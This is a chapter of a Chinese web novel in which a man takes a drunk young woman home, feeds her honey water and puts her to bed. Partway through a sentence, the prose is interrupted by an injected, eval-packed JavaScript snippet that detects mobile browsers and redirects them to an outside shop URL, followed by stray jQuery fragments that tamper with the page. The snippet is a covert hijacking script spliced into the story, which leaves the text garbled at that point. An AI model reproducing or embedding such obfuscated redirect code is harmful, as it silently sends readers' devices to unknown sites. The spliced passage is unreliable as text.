10. 照料
作品:《不冻港[寄住]》 然而,裴舒羽的大脑没能清醒多久。恒温系统运作下的暖意扑面而来,驱散了让人清醒的湿冷。
被这股暖气一烘,酒意又开始向上蒸,意识又变的模糊,她的身体也越发绵软,几乎完全挂在裴凛的手臂上。
裴凛扶着她,穿过空旷的大厅。
脚步声一道沉稳,一道轻飘,频率也是一快一慢,落下轻微的回响。
他将她带上二楼,没有直接去已经预备好的客房,而是先在通往主卧走廊旁的一张长绒沙发上,让她坐下。
沙发非常柔软,裴舒羽陷进去,找不到支点,便又歪着头,半梦半醒的样子,噘着嘴,好像还是不太舒服。
裴凛站着,目光落在她身上片刻,然后拿出手机,给陈秘书发了条信息:
[解酒,什么有效?]
回复很快进来:[可以尝试温和的醒酒汤,如葛根汤或梨水;或者简单的蜂蜜水也有一定效果。]
裴凛收起手机,转身走向位于走廊另一端的茶水间。他自己并不需要这些,但这里常备着一些基础的饮品和简单的冲调工具。
他找到蜂蜜,玻璃罐子有些沉手。
按照大概的比例,用温水冲开,搅拌均匀。动作不算熟练,不过也没有迟疑。
等他端着那杯温热的蜂蜜水回来时,沙发上却空了。
裴凛的脚步顿住。
去哪里了?
他目光扫过走廊,最终定格在不远处那扇虚掩的主卧门上。
走过去,他推开门。
卧室内,声控壁灯因为他的脚步声打开,光线昏暗。巨大的双人床上铺着深灰近黑的床单,那一小团蜷缩在床中央的、浅色的身影因此格外显眼。
裴舒羽不知何时跑到了他的床上。她侧躺着,身体蜷曲得很紧。他的床对她来说太大了,那团身影陷在深色的被褥里,看起来很小。
不知道为什么,裴凛在这时候想到了合伙人家里那只出生不久的小猫,睡在不符合身体尺寸的巨大猫窝里,在陌生的环境没有安全感地蜷缩着。
女孩浅粉色的裙摆堆叠在身侧,露出一截细瘦的小腿,被深色被单衬得更白,拖鞋凌乱地踢在床边。
他走近床边,将水杯和口袋里裴舒羽的手机都放在床头柜上。
玻璃杯底与桌面接触,发出极轻微的一声“嗒”。
床上的女孩似乎被惊动,嘤咛了一声,不安地动了动,翻了个身,朝向床边,裴凛的方向。
裴凛俯身,手指落在她肩上,轻轻推了推。
“裴舒羽。”
她没醒,只是眉头皱得更紧,显得更不舒服,更不高兴。
他又推了一下,声音略微提高:“起来,喝水。”
裴舒羽终于被彻底扰动,眼睫颤抖着掀开一条缝,眼神涣散,她看着近在咫尺的裴凛,似乎没能立刻辨认出来。
她动了动嘴唇,发出含糊不清的嘟囔,像是在抱怨。然后,她抬起手,似乎想推开他,指尖却意外地碰到了他的手背。
裴舒羽的指尖很烫,带着醉酒后的热度。
裴凛的手僵了一下。
裴舒羽的手并没有立刻收回,反而像是找到了什么可以依凭的东西,有些笨拙地抓住了他的手腕,力道很轻,更像是一种无意识的缠绕。
她又嘟囔了一句什么,声音依旧模糊不清,但这次的尾音却微微上扬,带上了一种撒娇一般的软糯。
裴凛听清了。
“好讨厌...不要吵...”她断断续续地嘟囔,“让我睡觉好不好嘛......”
裴凛垂眸看着她抓住自己手腕的那只手,白皙,纤细。又看向她近在咫尺的脸,那双湿漉漉的眼睛半睁着,里面映着壁灯昏黄的光,像蒙着一层水雾。
气氛变得有些......奇怪。
他能感觉到自己手腕上那柔软的触感。还有,她呼出的、带着甜腻酒气的温热呼吸。
就在这时,裴舒羽抓着他手腕的手又动了动,似乎想把他拉近一些,指尖一点一点向上蹭着,声音含糊不清,带着浓浓的鼻音:“好冷......嗯......抱......抱抱.....”
要抱?
裴凛的动作停住了。
他的喉咙和胃部传来一种非常怪异的痉挛感。
裴凛的身体非常健康,他确定自己没有生病。
在他停顿的这几秒里,抓住他手腕的那只手,将他的手拉向了她的脸侧。
然后,裴舒羽侧过头,用脸颊依赖地蹭了蹭他的手背。
柔软温热的皮肤,留下短暂的、微烫的触感。
随即,裴舒羽发出一声很轻的喟叹:
“......妈妈......”
他手腕上的力道松开了。那点令人不适的痉挛感也随之消失。
裴凛收回了手。
他站直,端起床头柜上的水杯,蜂蜜的甜香气味散发出来。
稍稍俯身,空着的那只手伸到裴舒羽颈后,裴凛试图将她扶起一些,以便喂水。
裴舒羽的身体很软,没什么力气,头歪靠在他手臂上。
裴凛将杯沿凑近她的嘴唇。
大概是闻到了甜味,裴舒羽下意识地张开嘴,喝了一小口。眉头却立刻皱了起来,发出含糊不清的抗拒音节,唇齿紧闭,偏头想躲开杯子。
他泡得似乎太甜了。
一些透明的液体顺着她的唇角溢出,沾湿了下巴和颈侧的皮肤,也濡湿了她紧闭的、嫣红的嘴唇,留下一点黏腻的水光。
裴凛动作未停,他空着的手指轻轻捏住了她的下巴,阻止了她继续偏头,同时用拿着杯子的手,再次将杯沿抵在她唇边。
“喝掉。”他低声说。
然后稍稍倾斜杯身,温热的液体再次触碰到裴舒羽的嘴唇。她似乎还想抗拒,但下巴被他控制着,无法完全躲开,些微的液体渗入她微启的唇缝。
她发出更明显的、类似呜咽的抗拒声,身体也试图在他手臂中挣动。
裴凛耐着性子,维持着这个姿势,一小口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093654|195556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、一小口地,将杯中的蜂蜜水喂进去。
大部分液体还是被她不情不愿地咽了下去,尽管仍有一些顺着嘴角流下来。他能感觉到她喉咙细微的吞咽动作。
直到杯子快要见底,他才松开了捏着她下巴的手指,将空杯放回床头柜。
裴凛看着她重新软倒回枕头上,唇角和下巴还沾着黏腻的水痕。
转身,从矮柜上抽了几张纸巾,折叠。
回到床边,他抬手,尝试用纸巾擦拭干净她唇角和下巴的狼藉。
纸巾的质地很柔软,但他捏着纸巾的指节却是僵硬的。裴凛没做过这种事,动作生涩地在她脸上到处碰来碰去。
好在裴舒羽没有再醒,没有再抓着裴凛的手腕,说什么要“抱”的胡话,或者叫他“妈妈”,裴凛也很快擦干净了。
然后,他将她重新放平,让她躺回枕头上,拉过被子,盖至她肩下,又将滑落的被角重新拉上来,有些生硬地掖进床垫边缘。
裴凛在床边站了片刻,看着她又陷入沉睡的侧脸。
现在的裴舒羽睡得安静了一些,只是不太喜欢灯光,手软趴趴地搭在脸上,挡住了不多也不少的光线。
过了一会儿,声控壁灯熄灭了。
裴凛的视线在床上那团模糊的轮廓上停顿了一瞬,随即转身走出主卧,带上了门。
动作很轻,壁灯没有再亮起。
离开房间之后,裴凛发现自己的动作很难连续,因为他又在房间门口站了一会儿,才能安排其他事情。
走廊空旷安静。他抬步,走向客卧,拿出手机。
指尖在屏幕上点了几下,给生活助理发去信息:
[准备一套女性换洗衣物,送到雪松湾。]
他看了一眼刚才关上的卧室门方向,凭借短暂的、近距离的观察和触碰留下的印象,又补充了一句尺寸相关的描述:
[身高大概165,偏瘦。]
信息发送出去。裴凛收起手机,推开了客卧的门。
里面的陈设同样简洁,他径直走向浴室。
打开水龙头,水流冲刷而下,他挽起衬衫袖口,准备洗漱。
就在这时,他的动作再次不连续地停顿了一下。
视线落在右手的袖口边缘。
那里,沾染上了一点极浅淡的、难以察觉的粉色痕迹。
很小的一块,边缘有些模糊,像是某种膏体被不经意蹭上留下的印子。
裴凛看着那点颜色。
唇膏。
他想起方才在主卧,裴舒羽半梦半醒间抓住他的手腕,侧过脸依赖地蹭着,软声叫“妈妈”的样子。
大概是那时蹭上的。
又想起隔着柔软的纸巾,擦拭她唇角水渍时的触感。
比纸巾更软。
过了几秒,他伸出左手食指,极轻地碰了一下那个印记。
指腹传来布料的纹理感,那点粉色并未因此晕开或消失。
裴凛收回手,面无表情地继续挽起另一只袖子。

